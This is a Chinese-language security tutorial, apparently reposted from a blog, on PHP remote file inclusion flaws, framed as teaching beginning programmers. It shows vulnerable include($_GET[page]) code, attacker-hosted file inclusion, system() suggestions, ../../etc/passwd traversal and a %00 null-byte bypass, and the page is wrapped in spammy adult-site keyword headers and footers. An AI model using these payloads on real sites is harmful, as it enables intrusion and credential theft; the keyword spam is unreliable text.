成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

探討PHP遠程文件包含漏洞產生原因

開發 后端
我們在文章中向大家講解了有關PHP遠程文件包含漏洞的原理,幫助大家了解PHP的安全性,在編程中實現代碼的可靠性。

對于初級PHP程序員來說,對于PHP的安全性還不能完全掌握。首先我們需要了解致使程序漏洞的原理。下面我們就來介紹一下PHP遠程文件包含漏洞的產生原因。#t#

首先的問題是,什么才是”遠程文件包含漏洞“?簡要的回答是服務器通過PHP的任意文件包含過濾不嚴,從而去執行一個惡意文件,這是個程序員過濾上的問題,請記住,所有的cgi程序都有這樣的bug。

1.找出PHP遠程文件包含漏洞bug:

為了發現目標,我們首先要知道包含兩個字的含義,在所有語言里(大多數)都有這種方法包含任意的文件。在PHP里,我們使用include()函數,它的工作流程:

如果你在Main.PHP里包含include1.PHP,我將這樣寫include("include1.PHP").不是很科學,但你要知道其中的道理。
我們先看這個,當用戶輸入通過后就包含文件,也就是

 

  1. if ($_GET[page]) {  
  2. include $_GET[page];  
  3. } else {  
  4. include "home.PHP";  

這種結構在動態網站里是常見的,問題是它允許這樣 [url]http://www.target.com/explame.PHP?page=main.PHP[/url] 或者[url]http://www.target.com/explame.PHP?page=downloads.PHP[/url]來查看。無論如何,如果你的程序里有這樣的bug也很悲哀了,只能怪你,盡管只是一句過濾的問題,但就是這一句過濾就有了Script hacker.在zone-h.org的調查里,文件包含的攻擊率占到9.4%,足夠我們引起重視,而且它也不是一兩天的問題,幾年前就有了,但到了今天,一批一批程序員依舊走老路重走,所以就有了這篇文章,在2004年寫這樣的文章已經老掉牙,但我還是要寫,畢竟牢騷能讓人收益的時候就不叫牢騷了。

2.測試

這里有個遠程文件包含的例子,目的只有一個,為了你的程序安全,我們來看具體的

[url]http://www.target.com/explame.PHP?page=zizzy[/url]

Warning: main(zizzy): failed to open stream: No such file or directory in /var/www/htdocs/index.PHP on line 3
Warning: main(): Failed opening 'zizzy' for inclusion (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/index.PHP on line 3

PHP輸出的這些錯誤信息告訴我們,程序去包含文件/var/www/htdocs/zizzy,但沒找到,看見了吧,No such file or directory沒這樣的文件,現在理解PHP遠程文件包含漏洞了吧。

3.利用

PHP確實很好,可以遠程調用文件,那我創建一個yeah.txt,放在我的站上[url]http://www.mysite.com/yeah.txt.[/url]內容這樣

 

  1. < ?  
  2. echo "Wow,test!";  
  3. ?> 

那么[url]http://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]
OK,回顯Wow,test!,這樣就執行了。讀取config.PHP也不難吧,里面放了mysql密碼啊。把yeah.txt寫成<? PHPinfo; ?>看看,寫成system()去試試,有什么感想,在過分點,這樣提交page=../../../../../../../etc/passwd。知道什么叫真正的包含了吧。

4.另一種PHP遠程文件包含漏洞的原理

有時程序員換種寫法,寫成這樣,限制了包含范圍

 

  1. if ($_GET[page]) {  
  2. include "$_GET[page].PHP";  
  3. } else {  
  4. include "home.PHP";  

我們提交[url]http://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]

Warning: main([url]http://www.mysite.com/yeah.txt.PHP[/url]): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3

Warning: main(): Failed opening 'http://www.mysite.com/yeah.txt.PHP' for inclusion (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/explame.PHP on line 3

包含失敗了,限制了后綴名為PHP,那mysite.com的yeah.txt改為yeah.PHP,ok,照樣執行了
那passwd怎么辦

Warning: main(../../../../../../../etc/passwd.PHP): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3

Warning: main(): Failed opening '../../../../../../../etc/passwd.PHP' for inclusion (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/explame.PHP on line 3

在這里使用個NUL字符,也就是%00來跳過檢測

[url]http://www.target.com/explame.PHP?pa.../etc/passwd%00[/url]

看見了吧。

5.建議

包含文件時最好指定好包含哪一個文件,或者過濾好提交的的變量,這也就是這篇PHP遠程文件包含漏洞文章的目的,不是寫給hacking的人看,而是寫給那些初涉程序員的人,這樣的文章網上很多,只要有人受益,也就達到目的了。

責任編輯:曹凱 來源: 百度博客
相關推薦

2011-04-13 17:28:21

2009-07-06 17:47:44

2012-04-12 16:05:50

2017-09-06 11:21:53

2015-04-16 11:01:44

混合云IT管理

2009-11-30 11:01:20

MySQL與PHP產生

2013-07-03 11:28:47

2009-12-10 15:00:20

PHP獲取checkb

2010-09-14 17:49:14

溢出漏洞

2015-04-02 16:26:39

漏洞檢測工具Kadimus

2009-12-04 15:42:57

PHP文件緩存

2009-11-23 14:32:55

Visual Stud

2014-08-22 09:08:23

遠程控制木馬

2009-11-23 10:31:25

PHP使用JSON

2009-11-30 15:58:13

PHP數學函數

2009-11-30 18:59:52

PHP數組排序

2010-07-21 09:38:15

PHP緩存技術

2021-11-08 07:26:36

Vailyn漏洞安全工具

2025-02-21 08:10:00

漏洞網絡安全網絡攻擊

2023-05-29 14:47:46

語音詐騙漏洞人工智能
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲视频在线观看一区二区三区 | 欧美视频在线观看 | 欧美在线 | 日韩精品视频网 | 国产激情视频网址 | 天天天天天天天干 | 中文字幕av第一页 | 欧美一二三 | 欧美日韩中文字幕在线 | 欧洲高清转码区一二区 | 亚洲网站观看 | 一区二区三区免费 | 龙珠z在线观看 | 亚洲免费在线 | 日韩电影免费在线观看中文字幕 | 国产999精品久久久久久 | 国产精品网页 | av毛片 | 中文字幕蜜臀 | 亚洲国产精品自拍 | 欧美一级片在线看 | 国产黄色一级电影 | 中文字幕第一页在线 | 久久久久久高潮国产精品视 | 国产精品久久久久久久久久久久久 | 亚洲精品成人在线 | 小早川怜子xxxxaⅴ在线 | 国产精品成人一区二区三区吃奶 | 国产伦精品一区二区三区四区视频 | 久久99国产精品久久99果冻传媒 | 伊人性伊人情综合网 | 国产激情视频在线 | 国产精品久久久久久久7777 | 久久亚洲欧美日韩精品专区 | 中国美女一级黄色片 | 99久久国产免费 | 欧美成年人| 一区二区三区在线播放 | a级免费视频 | 日韩网| 欧美日韩国产一区二区三区不卡 |